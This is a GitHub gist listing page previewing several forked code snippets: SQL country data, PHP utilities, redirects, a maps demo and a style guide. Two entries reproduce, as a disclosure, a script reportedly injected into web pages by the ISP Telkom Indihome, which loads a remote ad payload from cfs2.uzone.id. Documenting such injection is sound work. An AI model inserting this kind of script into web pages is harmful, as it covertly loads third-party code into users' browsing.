Skip to content

Instantly share code, notes, and snippets.

View antelove19's full-sized avatar

Falah Al Fitri antelove19

View GitHub Profile
@antelove19
antelove19 / countries_nationalities_arabic_english.sql
Created January 25, 2020 15:17 — forked from FlavaSava7/countries_nationalities_arabic_english.sql
SQL Countries & Nationalities List : English and Arabic
CREATE TABLE `countries` (
`country_code` varchar(2) NOT NULL default '',
`country_enName` varchar(100) NOT NULL default '',
`country_arName` varchar(100) NOT NULL default '',
`country_enNationality` varchar(100) NOT NULL default '',
`country_arNationality` varchar(100) NOT NULL default '',
PRIMARY KEY (`country_code`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
--
-- Dumping data for table `countries`
@antelove19
antelove19 / gist:9b0e1a15dca391e6c50ddef929afe3fc
Created December 31, 2019 11:44 — forked from donnykurnia/gist:2356dad4119ce85d18d18708914c60e3
Injection code from Telkom Indihome. This code will replace </body> at the end of webpage with the code below. The content may varied, but the main payload is loaded from cfs2.uzone.id
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnCgur28FUm401VrTNseDf2JlEA6ZiOk%2ffQK22KycK5kPdVDjpnejkM9P73Pe7Y6EuuaOitYkmzmKNO8RUzaFdaIXn6R7NkvKk9cKCHQzyvNXXPs%2bsueqLp2EKbC6X0Nu38%2fmvVexzHBsuqHkiQG%2bNd%2bm8E%2f1Gq6XVEDRBd4yBsks3piKPJIEbKaNRdQVxqlbqy5Bs6h0iSFn8zyf11ihllrf6ZNmrJse7MMGOa5Bg8V4gb29r7%2bHjvRblYlXTzoDaVMg79rr8%2fNSZ6ssVfsxi0UIiVvCjFalmdmUa4D3V21bRqM4cgubmchEbbS%2bil%2bkh%2bMxt3Lc4cILEYiziKexsYIRCUr4wR%2fPBUNQ0j4IIx1jEuAgOLeRdwvvw4aFM0V1i21bvKCvX8DaMIllnngEEJ09Ev%2fVl90I1UyrYKv6AaTOlPRBinecqub0KT%2flfLk3J5BMJsGhRjFCfISXqn01lRdvFPPMPwF0W10PRF8Of4%2feqOmNt6%2f1%2bIe66Xn2XLzyo%2fXuwHgr8%2fESw2BJ%2fexkP1
@antelove19
antelove19 / gist:5fa4cc7713fa477462a96d96ecc39009
Created December 31, 2019 11:44 — forked from donnykurnia/gist:2356dad4119ce85d18d18708914c60e3
Injection code from Telkom Indihome. This code will replace </body> at the end of webpage with the code below. The content may varied, but the main payload is loaded from cfs2.uzone.id
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnCgur28FUm401VrTNseDf2JlEA6ZiOk%2ffQK22KycK5kPdVDjpnejkM9P73Pe7Y6EuuaOitYkmzmKNO8RUzaFdaIXn6R7NkvKk9cKCHQzyvNXXPs%2bsueqLp2EKbC6X0Nu38%2fmvVexzHBsuqHkiQG%2bNd%2bm8E%2f1Gq6XVEDRBd4yBsks3piKPJIEbKaNRdQVxqlbqy5Bs6h0iSFn8zyf11ihllrf6ZNmrJse7MMGOa5Bg8V4gb29r7%2bHjvRblYlXTzoDaVMg79rr8%2fNSZ6ssVfsxi0UIiVvCjFalmdmUa4D3V21bRqM4cgubmchEbbS%2bil%2bkh%2bMxt3Lc4cILEYiziKexsYIRCUr4wR%2fPBUNQ0j4IIx1jEuAgOLeRdwvvw4aFM0V1i21bvKCvX8DaMIllnngEEJ09Ev%2fVl90I1UyrYKv6AaTOlPRBinecqub0KT%2flfLk3J5BMJsGhRjFCfISXqn01lRdvFPPMPwF0W10PRF8Of4%2feqOmNt6%2f1%2bIe66Xn2XLzyo%2fXuwHgr8%2fESw2BJ%2fexkP1
@antelove19
antelove19 / get domain without subdomain.php
Created August 29, 2019 14:57 — forked from pocesar/get domain without subdomain.php
PHP code to get the domain name without subdomains (includes the tld, and the special types from IANA). Don't have support for unicode domain names.
<?php
/**
* @param string $domain Pass $_SERVER['SERVER_NAME'] here
* @param bool $debug
*
* @debug bool $debug
* @return string
*/
function get_domain($domain, $debug = false)
{
@antelove19
antelove19 / timezones.php
Created March 11, 2019 03:18 — forked from kulbakin/timezones.php
Array of timezones where keys are PHP timezone names and values are human friendly timezone titles.
<?php
/**
* List of timezones
*/
return array(
'Pacific/Midway' => '(UTC-11:00) Midway',
'Pacific/Niue' => '(UTC-11:00) Niue',
'Pacific/Pago_Pago' => '(UTC-11:00) Pago Pago',
'America/Adak' => '(UTC-10:00) Adak',
'Pacific/Honolulu' => '(UTC-10:00) Honolulu',
@antelove19
antelove19 / drupal-views-share-global-text-field
Created January 10, 2019 10:41 — forked from chrisjlee/drupal-views-share-global-text-field
share url's for facebook, twitter, pinterest with just get variables
<ul>
<li class="share-text">Share this>/li>
<li class="share-tw"><a href="http://twitter.com/share?text=[title]"><span></span></a></li>
<li class="share-fb"><a href="http://www.facebook.com/sharer.php?u=/node/[nid]&p=[title]"><span></span></a></li>
<li class="share-pinterest"><a href="http://pinterest.com/pin/create/button/?url=/node/[nid]&description=[title]"><span></span></a></li>
</ul>
@antelove19
antelove19 / index.html
Created January 10, 2019 00:58 — forked from johnschimmel/index.html
Demo of loading Google Maps, fetching Markers with AJAX, Geocoding new location and POSTing new location with AJAX. http://dwd-nodejs-remoteapis.herokuapp.com/
<style>
/* IMPORTANT - must give map div height */
#map-canvas {
height:400px;
}
/* IMPORTANT - fixes webkit infoWindow rendering */
#map-canvas img {
max-width: none;
}
@antelove19
antelove19 / .htaccess
Created December 21, 2018 03:30 — forked from ScottPhillips/.htaccess
Common .htaccess Redirects
#301 Redirects for .htaccess
#Redirect a single page:
Redirect 301 /pagename.php http://www.domain.com/pagename.html
#Redirect an entire site:
Redirect 301 / http://www.domain.com/
#Redirect an entire site to a sub folder
Redirect 301 / http://www.domain.com/subfolder/
@antelove19
antelove19 / DataMhs.java
Created October 28, 2018 11:48 — forked from zikrillah/DataMhs.java
Menampilkan data ke tabel pada java dengan jtable
import javax.swing.table.DefaultTableModel;
import java.sql.*;
/**
*
* @author zikri
*/
public class DataMhs extends javax.swing.JFrame {
private DefaultTableModel model;
@antelove19
antelove19 / php-style-guide.md
Created September 14, 2018 01:56 — forked from ryansechrest/php-style-guide.md
PHP style guide with coding standards and best practices.

PHP Style Guide

All rules and guidelines in this document apply to PHP files unless otherwise noted. References to PHP/HTML files can be interpreted as files that primarily contain HTML, but use PHP for templating purposes.

The keywords "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119.

Most sections are broken up into two parts:

  1. Overview of all rules with a quick example
  2. Each rule called out with examples of do's and don'ts